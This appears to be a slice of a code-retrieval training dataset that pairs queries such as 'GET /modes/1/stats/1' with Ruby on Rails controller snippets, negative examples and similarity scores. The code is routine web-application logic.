[ "0.69450486", "0.69450486", "0.6808387", "0.6732367", "0.6727641", "0.63921094", "0.63801813", "0.62487656", "0.6221298", "0.6141719", "0.61313635", "0.61170346", "0.6111959", "0.6099768", "0.60922164", "0.60800517", "0.60768676", "0.6039275", "0.6039275", "0.6039275", "0.60136694", "0.60056484", "0.59949046", "0.59805673", "0.59698904", "0.5965842", "0.59626037", "0.5938981", "0.5936535", "0.5933022", "0.5910407", "0.59099346", "0.5874363", "0.5874363", "0.5863954", "0.58230513", "0.58120364", "0.5804941", "0.5794123", "0.57690644", "0.5758365", "0.575727", "0.5751654", "0.5749333", "0.5745012", "0.57443273", "0.57441807", "0.5741372", "0.5737893", "0.57309544", "0.5722495", "0.57163644", "0.57102233", "0.5703976", "0.5696713", "0.56963193", "0.56903595", "0.5687124", "0.5679052", "0.56569695", "0.5649046", "0.56448954", "0.56370807", "0.5621164", "0.56203365", "0.5617044", "0.5613052", "0.5595265", "0.5580488", "0.5578339", "0.5575227", "0.5553143", "0.55531186", "0.55368173", "0.55319446", "0.55319446", "0.55319446", "0.5523791", "0.55151385", "0.5490291", "0.548504", "0.5479155", "0.54739755", "0.54735553", "0.5466842", "0.54645115", "0.5455673", "0.5453477", "0.5449069", "0.5449069", "0.5447829", "0.5446984", "0.54458976", "0.54434705", "0.54434705", "0.54382956", "0.5437481", "0.5429551", "0.5425624", "0.5425154" ]
0.7300694
0
GET /modes/1/stats/1 GET /modes/1/stats/1.json
def show respond_to do |format| format.html { render 'application/cube_trainer' } format.json { render json: @stat.to_simple, status: :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json do\n stats = @mode.stats.map(&:to_simple)\n render json: stats, status: :ok\n end\n end\n end", "def stats\n request :get, \"_stats\"\n end", "def stats\n request :get, \"_stats\"\n end", "def stats\n Client.current.get(\"#{resource_url}/stats\")\n end", "def stats\n _get(\"/system/stats\") { |json| json }\n end", "def modes\n @client.get('/Journey/Meta/Modes')\n end", "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: current_user.modes }\n end\n end", "def show\n render json: @stat\n end", "def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html { render \"show\" }\n format.json { render json: @stat }\n end\n end", "def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @stat }\n end\n end", "def show\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @mode }\n end\n end", "def show\n @game_stat = GameStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_stat }\n end\n end", "def show\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @stat_type }\n end\n end", "def index\n @modes = Mode.all\n end", "def show\n @backend_stat = Backend::Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @backend_stat }\n end\n end", "def stats\n @stats = time_data SolarReading.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(SolarReading.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(SolarReading.all, :hash) }\n end\n end", "def show\n @active_stat = ActiveStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @active_stat }\n end\n end", "def get_stats_headers(options={format: \"json\"})\n Rails.cache.fetch([\"/game/stats\", { query: options }], :expires => 1.hour) do\n self.class.get(\"/game/stats\", { query: options })\n end\n end", "def show\r\n @stats = Stat.all\r\n @statsu = Stat.where(calculation_id: params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @stat }\r\n end\r\n end", "def raw_stats\n url = URI.parse(stats_url)\n Net::HTTP.start(url.host, url.port) {|http|\n http.request(Net::HTTP::Get.new(url.path))\n }.body\nend", "def stats\n @stats = time_data Gig.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Gig.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Gig.all, :hash) }\n end\n end", "def stats\n @stats = time_data MonzoTransaction.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(MonzoTransaction.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(MonzoTransaction.all, :hash) }\n end\n end", "def show\n @stat_misc = StatMisc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stat_misc }\n end\n end", "def stats\n @stats = time_data Episode.all\n @cloud = word_cloud Episode.pluck(:title)\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Episode.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Episode.all, :hash) }\n end\n end", "def index\r\n @stats = Stat.all\r\n @statsu = Stat.where(calculation_id: params[:id])\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @stats }\r\n end\r\n end", "def show\n @modes = Mode.all\n @mode = Mode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mode }\n end\n end", "def index\n respond_to do |format|\n format.html\n format.xml { render :xml => @modes.to_xml }\n\t\t\tformat.js { render :text => @modes.to_json }\n end\n end", "def stats\n @stats = {}\n @stats[\"online\"] = \"Of course. That's how the internet works.\"\n @stats[\"requested_at\"] = Time.now\n @stats[\"total_tweets\"] = ActiveRecord::Base.connection.execute(\"explain select count(id) from tweets\").all_hashes.first[\"rows\"]\n @stats[\"total_users\"] = ActiveRecord::Base.connection.execute(\"explain select count(id) from users\").all_hashes.first[\"rows\"]\n @stats[\"number_collections\"] = ActiveRecord::Base.connection.execute(\"select count(id) from collections\").fetch_row.first\n @stats[\"researchers_active\"] = ActiveRecord::Base.connection.execute(\"select count(id) from researchers\").fetch_row.first\n @stats[\"scrape_count\"] = ActiveRecord::Base.connection.execute(\"select count(id) from scrapes\").fetch_row.first\n @stats[\"datasets_count\"] = ActiveRecord::Base.connection.execute(\"select count(id) from collections where single_dataset = 1\").fetch_row.first\n @stats[\"analysis_jobs_completed\"] = ActiveRecord::Base.connection.execute(\"select count(id) from analysis_metadatas\").fetch_row.first\n @stats[\"total_graphs\"] = ActiveRecord::Base.connection.execute(\"select count(id) from graphs\").all_hashes.first[\"rows\"]\n @stats[\"total_graph_points\"] = ActiveRecord::Base.connection.execute(\"select count(id) from graph_points\").all_hashes.first[\"rows\"]\n @stats[\"total_edges\"] = ActiveRecord::Base.connection.execute(\"select count(id) from edges\").fetch_row.first\n respond_to do |format|\n format.xml { render :xml => @stats.to_xml }\n format.json { render :json => @stats.to_json }\n end\n end", "def index\n @stats = Stat.all\n @stat = Stat.new\n render html: @stats, json: @stats\n # respond_to do |format|\n # format.html\n # format.json\n # end\n end", "def index\n @stats = Stat.all\n end", "def index\n @stats = Stat.all\n end", "def index\n @stats = Stat.all\n end", "def stats\n @stats = {\n total_distance: CyclingEvent.sum(:distance),\n total_time: CyclingEvent.sum(:finish_time),\n average_speed: CyclingEvent.sum(:distance).to_f / CyclingEvent.sum(:finish_time).to_f\n }\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: @stats, callback: params[:callback] }\n format.xml { render xml: @stats }\n end\n end", "def stats\n @server.make_json_request('show.stats', tvdbid: @tvdbid)['data']\n end", "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: StatType::ALL }\n end\n end", "def index\n render json: usage(params[:type])\n end", "def index\n @backend_stats = Backend::Stat.order('created_at ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @backend_stats }\n end\n end", "def stats\n ## TODO:\n end", "def stats\n response[\"stats\"]\n end", "def stats\n year = Analytic.where(\"created_at > ?\", Time.now - 1.year)\n @stats = time_data year\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(year, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(year, :hash) }\n end\n end", "def show\n @match_stat = MatchStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @match_stat }\n end\n end", "def index\n @stats = Stat.all\n end", "def index\n @stats = Stat.all\n\n render json: {data:\n @stats.map {|stat|\n days = range_to_days(stat)\n {\n total_seconds: stat.total_seconds,\n human_readable_total: humanize(stat.total_seconds),\n daily_average: stat.daily_average,\n human_readable_daily_average: humanize(stat.daily_average),\n range: stat.range,\n holidays: stat.holidays,\n days_including_holidays: days,\n days_minus_holidays: days - stat.holidays,\n status: stat.status,\n is_already_updating: stat.is_already_updating,\n is_stuck: stat.is_stuck,\n is_up_to_date: stat.is_up_to_date,\n timeout: stat.timeout,\n editors: stat.editors.map {|e|\n {\n name: e.name,\n total_seconds: e.total_seconds,\n percent: e.percent\n }\n }\n }\n }}\n end", "def index\n @group_stats = GroupStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @group_stats }\n end\n end", "def show\n @player_statistic = PlayerStatistic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player_statistic }\n end\n end", "def stats\n end", "def stats\n end", "def stats\n JSON.parse TCPSocket.new(@options[:stats_uri].host,@options[:stats_uri].port).read rescue {}\n end", "def show\n url = Url.find(params[:id].to_i)\n @stats = {\n shortened_url: \"#{request.base_url}/#{url.shortened_url}\",\n original_url: url.original_url,\n usage_count: url.count,\n created_at: url.created_at,\n most_recent_use: url.updated_at\n }\n end", "def show\n @group_stat = GroupStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group_stat }\n end\n end", "def index\n @strategies = Strategy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @strategies }\n end\n end", "def index\n @stats = Stat.where(:match_id => params[:match_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stats }\n end\n end", "def stats\n @stats = time_data Track.all\n @cloud = word_cloud Track.pluck(:artist), split: false, limit: 60\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Track.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Track.all, :hash) }\n end\n end", "def show\n @metric_type = MetricType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metric_type }\n end\n end", "def show\n respond_to do |format|\n format.html\n format.xml { render :xml => @mode.to_xml }\n\t\t\tformat.js { render :text => @mode.to_json }\n end\n end", "def stats\n \n end", "def get_champ_stats(api_key, id, attributes)\n url = \"https://na1.api.riotgames.com/lol/static-data/v3/champions\"\n url += \"/\" + id.to_s + \"?api_key=\" + api_key + \"&champData=stats\"\n response = HTTParty.get(url)\n stats = {}\n case response.code\n when 200\n stats = response[\"stats\"]\n when 404\n puts \"failed to find stats for the id \" + id.to_s\n return {}\n end\n ret_set = []\n attributes.each do |attr|\n ret_set.push(stats[attr])\n end\n puts ret_set\n return ret_set\nend", "def index\n respond_to do |format|\n format.html {\n render :file => \"public/#{ENV['PROJECT_ID']}/admin.html\"\n }\n format.json {\n @stats = [\n {label: \"User Registration Stats\", data: User.getStatsByDay},\n {label: \"Transcript Edit Stats\", data: TranscriptEdit.getStatsByDay}\n ]\n }\n end\n end", "def show\n @player_game_stat = PlayerGameStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player_game_stat }\n end\n end", "def index\n @player_statistics = PlayerStatistic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @player_statistics }\n end\n end", "def stats_find(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: StatsApi#stats_find ...\"\n end\n \n # resource path\n path = \"/stats\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Stats>')\n if Configuration.debugging\n Configuration.logger.debug \"API called: StatsApi#stats_find. Result: #{result.inspect}\"\n end\n return result\n end", "def show\n @annual_stat = AnnualStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @annual_stat }\n end\n end", "def statistics\n JSON.parse @gapi.statistics.to_json\n end", "def index\n if(params[:mode] != nil && params[:mode] == \"run\")\n render :json => Playoff.exists?(:running => true)\n elsif(params[:running] != nil && params[:running])\n @playoffs = Playoff.where(running: true)\n else\n @playoffs = Playoff.all\n end\n\n end", "def show\n @metric = Metric.find(params[:id])\n\n render json: @metric\n end", "def stats(url, options={})\n query = {:url => url}\n query.merge!(options)\n response = handle_response(self.class.get(\"/stats.json\", :query => query))\n Topsy::Stats.new(response)\n end", "def stats\n StatsManager::StatsD.time(Settings::StatsConstants.api['user']['stats']) do\n if params[:id] == current_user.id.to_s\n # A regular user can only view his/her own stats\n @user = current_user\n elsif current_user.is_admin\n # admin users can view anyone's stats\n unless @user = User.where(:id => params[:id]).first\n return render_error(404, \"could not find that user\")\n end\n else\n return render_error(401, \"unauthorized\")\n end\n\n @status = 200\n num_recent_frames = params[:num_frames] ? params[:num_frames].to_i : Settings::UserStats.num_recent_frames\n @stats = GT::UserStatsManager.get_dot_tv_stats_for_recent_frames(@user, num_recent_frames)\n @stats.each {|s| s.frame.creator[:shelby_user_image] = s.frame.creator.avatar_url}\n end\n end", "def user_stats\n @user = User.find(params[:id])\n @stats = time_data @user.episodes\n @cloud = word_cloud @user.episodes.pluck(:title)\n\n respond_to do |format|\n format.html { render 'stats' }\n format.json { render json: time_data(@user.episodes, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(@user.episodes, :hash) }\n end\n end", "def index\n @game = Game.find(current_user.game_setting_id || 1)\n authorize @game\n @levels = @game.levels\n @modes = @game.modes\n @strategies = @game.strategies\n @strategy = Strategy.new\n end", "def get\n\t\t\t result = Status.find_by(windmillid: params[:windmillid]) \n \t\t\trender json: [result.as_json(only: [:status,:power,:gen,:frequency,:rotor,:wind,:pitch])]\n\tend", "def stats\n repo = Repo.find(params[:id])\n\n render(:json => CodeburnerUtil.get_repo_stats(repo.id))\n rescue ActiveRecord::RecordNotFound\n render(:json => {error: \"Service or findings not found}\"}, :status => 404)\n end", "def admin_stats\n logger.debug('Getting admin statistics') if @debug\n get('/api/admin/stats')\n end", "def show\n @medium_mission_strategy = MediumMissionStrategy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medium_mission_strategy }\n end\n end", "def show\n @town = Town.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @town } # hash returned get_stats does not serialize to_xml\n format.json { render :json => @town.to_json({ :methods => [:current_stats, :url, :public_url]}) }\n end\n end", "def show\n @medium = OnlineResource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @online_resource }\n format.ris\n end\n end", "def index\n @usages = get_usages\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usages }\n end\n end", "def show\n @store_manager_statistic = Store::Manager::Statistic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @store_manager_statistic }\n end\n end", "def stats\n expose Metadata.stats(@oauth_token)\n end", "def stats\n @client.stats\n end", "def show\n @strategy = Strategy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @strategy }\n end\n end", "def get_options_stats_realtime_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OptionsApi.get_options_stats_realtime ...\"\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling OptionsApi.get_options_stats_realtime\"\n end\n if @api_client.config.client_side_validation && opts[:'source'] && !['realtime', 'delayed'].include?(opts[:'source'])\n fail ArgumentError, 'invalid value for \"source\", must be one of realtime, delayed'\n end\n # resource path\n local_var_path = \"/options/prices/{identifier}/realtime/stats\".sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ApiKeyAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApiResponseOptionsStatsRealtime')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OptionsApi#get_options_stats_realtime\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def stats(options={})\n Resources::Stats.new(self, options)\n end", "def stats(param_hash={})\n load_config_file! if @set_params.nil? # development mode only\n \n ## merge parameters, converting keys to strings\n params = {}\n @set_params.each { |k,v| params[k.to_s] = v }\n param_hash.each { |k,v| params[k.to_s] = v }\n \n ## allow 'type' param to take arrays; join values with commas\n if params['type'].kind_of?(Array)\n params['type'] = params['type'].map{|v| v.to_s}.join(',')\n end\n \n query_string = params.collect{ |k,v| \"#{k}=#{clicky_encode(v)}\"}.join(\"&\")\n url = URI.parse(BASE_URI)\n res = Net::HTTP.start(url.host, url.port) do |http|\n http.get(url.path + \"?\" + query_string)\n end\n \n return ActiveSupport::JSON.decode(res.body)\n end", "def show\n @calculator = Calculator.find(params[:id])\n @stats= statistics\n\n end", "def get_mode\n send_request(FUNCTION_GET_MODE, [], '', 1, 'C')\n end", "def show\n @backend_tutorial_stat = Backend::TutorialStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @backend_tutorial_stat }\n end\n end", "def show\n @medium_status_mod = MediumStatusMod.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medium_status_mod }\n end\n end", "def show\n CheckoutStatHasManifestation.per_page = 65534 if params[:format] == 'csv' or params[:format] == 'tsv'\n @stats = @manifestation_checkout_stat.checkout_stat_has_manifestations.order('checkouts_count DESC, manifestation_id').page(params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @manifestation_checkout_stat }\n format.csv\n format.tsv { send_data ManifestationCheckoutStat.get_manifestation_checkout_stats_tsv(@manifestation_checkout_stat, @stats) , :filename => Setting.manifestation_checkout_stats_print_tsv.filename }\n\n end\n end", "def getStats (player)\n if player == \"me\"\n my_hits = self.my_hits\n my_misses = self.my_misses\n my_sunk_ships = sunkShips(\"me\")\n finished = self.finished\n stats = {my_hits: my_hits,\n my_misses: my_misses,\n my_sunk_ships: my_sunk_ships,\n finished: finished}\n statsRet = stats.to_json\n return statsRet\n\n else # player == \"enemy\"\n enemy_hits = self.enemy_hits\n enemy_misses = self.enemy_misses\n enemy_sunk_ships = sunkShips(\"enemy\")\n finished = self.finished\n stats = {enemy_hits: enemy_hits,\n enemy_misses: enemy_misses,\n enemy_sunk_ships: enemy_sunk_ships,\n finished: finished}\n statsRet = stats.to_json\n return statsRet\n end\n end", "def index\n @scans = policy_scope(Scan)\n render json: @scans\n end", "def get_global_statistic_by_type(type)\n type = type.to_s.to_sym\n path = \"#{@results_dir_path}/global_statistic.json\"\n data = ensure_load_json(path, {}, symbolize_names: true)\n data[type]\n end", "def show\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status }\n end\n end", "def stats(params = {})\n response = client.get \"/_cluster/stats\", params.merge(action: \"cluster.stats\", rest_api: \"cluster.stats\")\n response.body\n end", "def refresh\n if @mode == :info\n refresh_info\n elsif @mode == :reward\n refresh_rewards\n end\n end", "def show\n @calculated_game_player_statistic = CalculatedGamePlayerStatistic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @calculated_game_player_statistic }\n end\n end", "def get_json_stats_from(ip, port)\n Net::HTTP.start(ip, port) {|http| http.get('/stats.json') }.body rescue \"{}\"\nend", "def statistics\n authorize!(:read_statistics, current_course)\n end", "def show\n @criterion = Criterion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @criterion }\n end\n end", "def show\r\n @game_statistic = GameStatistic.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @game_statistic }\r\n end\r\n end", "def stats\n return self.endpoint.stats(self.id)\n end" ]
[ "0.7317902", "0.6775806", "0.6775806", "0.66198736", "0.64493626", "0.6369107", "0.63271374", "0.63269675", "0.62546134", "0.6243415", "0.6195791", "0.61815673", "0.61211514", "0.6087388", "0.6063131", "0.6051972", "0.6013334", "0.5972833", "0.59588516", "0.5958003", "0.5950872", "0.59475785", "0.5945698", "0.5931481", "0.5931387", "0.5918389", "0.59106934", "0.59037954", "0.5883561", "0.58713955", "0.58713955", "0.58713955", "0.5866643", "0.5854055", "0.584589", "0.5844783", "0.5842836", "0.58187205", "0.581344", "0.5799733", "0.5768447", "0.57671845", "0.5754918", "0.5743616", "0.57399714", "0.57237446", "0.57237446", "0.57154804", "0.5710371", "0.5702573", "0.56969106", "0.56819594", "0.5675913", "0.56604975", "0.56511444", "0.5648381", "0.56408393", "0.56346107", "0.56316733", "0.5630303", "0.5620159", "0.5596789", "0.55940074", "0.55917704", "0.5586836", "0.5585476", "0.55846274", "0.55703527", "0.5569068", "0.55391234", "0.55287385", "0.55280185", "0.5527971", "0.55268997", "0.55268264", "0.55223876", "0.55166936", "0.55080074", "0.5486732", "0.5481851", "0.54800045", "0.54761493", "0.54677993", "0.54579717", "0.54474264", "0.54377884", "0.54355305", "0.5432912", "0.5413094", "0.54046726", "0.5404661", "0.5402071", "0.5401173", "0.5395135", "0.53858423", "0.538194", "0.538076", "0.5379126", "0.5378529", "0.53727597" ]
0.6086427
14
params: keyvalue of what properties you want to set in that bz_id
def set_bz_upstream_fields(bz_id, oneway, params) uri = URI.parse(URI.encode(APP_CONFIG['mead_scheduler'])) req = Net::HTTP::Put.new(get_bz_update_link(bz_id, oneway, params)) Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def params=(hash); end", "def params=(hash); end", "def bocce_params\n params.require(:bocce).permit(:propID, :name, :location, :accessible, :lat, :long, :rating)\n end", "def update!(**args)\n @bucket_id = args[:bucket_id] if args.key?(:bucket_id)\n @obj_id = args[:obj_id] if args.key?(:obj_id)\n end", "def bin_params\n params.require(:bin).permit(:name, :city_id, :red, :green, :blue, :alpha)\n end", "def business_params\n #params.require(:branch).permit(:name, :active, :user_id)\n\n raw_parameters = { :name => \"#{params[:name]}\", :active => \"#{params[:active]}\", :user_id => \"#{params[:user_id]}\", :description => \"#{params[:description]}\" }\n parameters = ActionController::Parameters.new(raw_parameters)\n parameters.permit(:name, :active, :description, :user_id)\n \n end", "def set_baz44\n @baz44 = Baz44.find(params[:id])\n end", "def zoigl_beer_params\n params.require(:zoigl_beer).permit(:beername, :rbid, :rbbrewer, :alcohol, :description)\n end", "def set_baz42\n @baz42 = Baz42.find(params[:id])\n end", "def do_bean_set_attributes(params)\n return if !params || params.empty?\n new_attributes = @remote_strategy.set_attributes(@ancestry, params, @client_info)\n super(new_attributes)\n #rescue Exception => e\n # puts \"Error setting attributes: #{e.message}\"\n # return e\n end", "def booz_params\n params.require(:bottle_store).permit(:name, :open_time, :closed_time, :latitude, :longitude, :sat_open_times, :sat_closed_times, :sun_open_times, :sun_closed_times, :address)\n end", "def update!(**args)\n @enclosing_province_geotoken = args[:enclosing_province_geotoken] if args.key?(:enclosing_province_geotoken)\n @id = args[:id] if args.key?(:id)\n @navboost = args[:navboost] if args.key?(:navboost)\n end", "def initialize_billing_addr_params\n #billing address information\n @bill_email = @params[\"BillEmail\"]\n @bill_phone = @params[\"BillPhone\"]\n @bill_city = @params[\"BillCity\"]\n @bill_country_code = @params[\"BillCountryCode\"]\n @bill_line1 = @params[\"BillLine1\"]\n @bill_line2 = @params[\"BillLine2\"]\n @bill_postal_code = @params[\"BillPostalCode\"]\n @bill_state = @params[\"BillState\"]\n @bill_first_name = @params[\"BillFirstName\"]\n @bill_last_name = @params[\"BillLastName\"]\n @bill_address_id = generate_guid\n end", "def parse_availability_params(params)\n params.each do |param|\n unless param == 'id'\n parsed = JSON.parse params[param] \n param = param + \"=\"\n self.availability.send(param, parsed) \n end\n end\n self.save!\n end", "def biz_params\n params.require(:biz).permit(:name, :email, :website, :logo, :password, :password_confirmation, :terms_of_service,\n stores_attributes:[:id, :street1, :street2, :city, :state, :zip_code, \n :phone_number, :contact_name, :hours, :days, :lat, :lng, :biz_id])\n end", "def update!(**args)\n @merchant_account_id = args[:merchant_account_id] if args.key?(:merchant_account_id)\n @name = args[:name] if args.key?(:name)\n @quantity = args[:quantity] if args.key?(:quantity)\n @value = args[:value] if args.key?(:value)\n end", "def set_baz66\n @baz66 = Baz66.find(params[:id])\n end", "def bike_params\n params.require(:bike).permit(:bike_index_uid, :user_id)\n end", "def set_baz54\n @baz54 = Baz54.find(params[:id])\n end", "def branch_params\n params[:branch].permit(:store_id,:branch_name,:branch_description,:email_address,:phone_number,:website_url,:addr_floor,:addr_unit,:addr_block,:addr_street,:addr_building,:city,:state,:zip, user_ids: [])\n end", "def set_bid\n @bid = Bid.find params[:id]\n end", "def set_baz94\n @baz94 = Baz94.find(params[:id])\n end", "def update!(**args)\n @business_type = args[:business_type] if args.key?(:business_type)\n @places = args[:places] if args.key?(:places)\n @region_code = args[:region_code] if args.key?(:region_code)\n end", "def set_zbozi\n @zbozi = Zbozi.find(params[:id])\n end", "def update!(**args)\n @business_type = args[:business_type] if args.key?(:business_type)\n @places = args[:places] if args.key?(:places)\n @radius = args[:radius] if args.key?(:radius)\n end", "def update!(**args)\n @business_type = args[:business_type] if args.key?(:business_type)\n @places = args[:places] if args.key?(:places)\n @radius = args[:radius] if args.key?(:radius)\n end", "def set_bb\n @bb = Bb.find(params[:id])\n end", "def update!(**args)\n @business_type = args[:business_type] if args.key?(:business_type)\n @radius = args[:radius] if args.key?(:radius)\n @places = args[:places] if args.key?(:places)\n end", "def set_baz69\n @baz69 = Baz69.find(params[:id])\n end", "def bill_params\n client_id = params[:bill].delete :client\n params[:bill][:client_id] = client_id\n params.require(:bill).permit(:client_id)\n end", "def boc_params\n params.require(:boc).permit(:dp, :n, :year, :establishment, :city_id, :providenca,:conclusion, :origem, :tipo, :documento, :inquery_id, :bo_id, :tco_id).merge(registry_id: current_user.registry_id)\n end", "def setVehicleId _obj, _args\n \"_obj setVehicleId _args;\" \n end", "def set_berth_order\n @berth_order = BerthOrder.find(params[:id])\n end", "def set_baz41\n @baz41 = Baz41.find(params[:id])\n end", "def params=(value); end", "def bill_params_to_update\n params.require(:bill).permit(:status)\n end", "def set_baz4\n @baz4 = Baz4.find(params[:id])\n end", "def set_bbhk\n @bbhk = Bbhk.find(params[:id])\n end", "def update!(**args)\n @address = args[:address] if args.key?(:address)\n @business_name = args[:business_name] if args.key?(:business_name)\n end", "def billable_params\n #params.require(:branch).permit(:name, :active, :user_id)\n\n raw_parameters = { :name => \"#{params[:name]}\", :description => \"#{params[:description]}\", :active => \"#{params[:active]}\" }\n parameters = ActionController::Parameters.new(raw_parameters)\n parameters.permit(:name, :description, :active)\n \n end", "def set_baz55\n @baz55 = Baz55.find(params[:id])\n end", "def set_bike_by_uid\n @bike = Bike.find_by( bike_index_uid: params[:id])\n end", "def set_baz72\n @baz72 = Baz72.find(params[:id])\n end", "def assign_attributes_with_params params\n\t\t\t\t# Description\n\t\t\t\t# if params.has_key? :description\n\t\t\t\t# params[:description] = ApplicationHelper.encode_plain_text params[:description]\n\t\t\t\t# end\n\n\t\t\t\t# Get price\n\t\t\t\tif params.has_key? :sell_price\n\t\t\t\t\tparams[:sell_price] = ApplicationHelper.format_i params[:sell_price]\n\t\t\t\t\tparams[:sell_price_text] = ApplicationHelper.read_money params[:sell_price]\n\t\t\t\tend\n\t\t\t\tif params.has_key? :rent_price\n\t\t\t\t\tparams[:rent_price] = ApplicationHelper.format_i(params[:rent_price])\n\t\t\t\t\tparams[:rent_price_text] = ApplicationHelper.read_money params[:rent_price]\n\t\t\t\tend\n\n\t\t\t\t# Alley width\n\t\t\t\tparams[:alley_width] = ApplicationHelper.format_f params[:alley_width] if params.has_key? :alley_width\n\n\t\t\t\t# Area\n\t\t\t\tparams[:constructional_area] = ApplicationHelper.format_f params[:constructional_area] if params.has_key? :constructional_area\n\t\t\t\tparams[:using_area] = ApplicationHelper.format_f params[:using_area] if params.has_key? :using_area\n\t\t\t\tparams[:campus_area] = ApplicationHelper.format_f params[:campus_area] if params.has_key? :campus_area\n\t\t\t\tparams[:garden_area] = ApplicationHelper.format_f params[:garden_area] if params.has_key? :garden_area\n\t\t\t\tparams[:width_x] = ApplicationHelper.format_f params[:width_x] if params.has_key? :width_x\n\t\t\t\tparams[:width_y] = ApplicationHelper.format_f params[:width_y] if params.has_key? :width_y\n\n\t\t\t\t# Location\n\t\t\t\tif params[:province].present?\n\t\t\t\t\tif params[:province] == 'Hồ Chí Minh'\n\t\t\t\t\t\tparams[:province] = 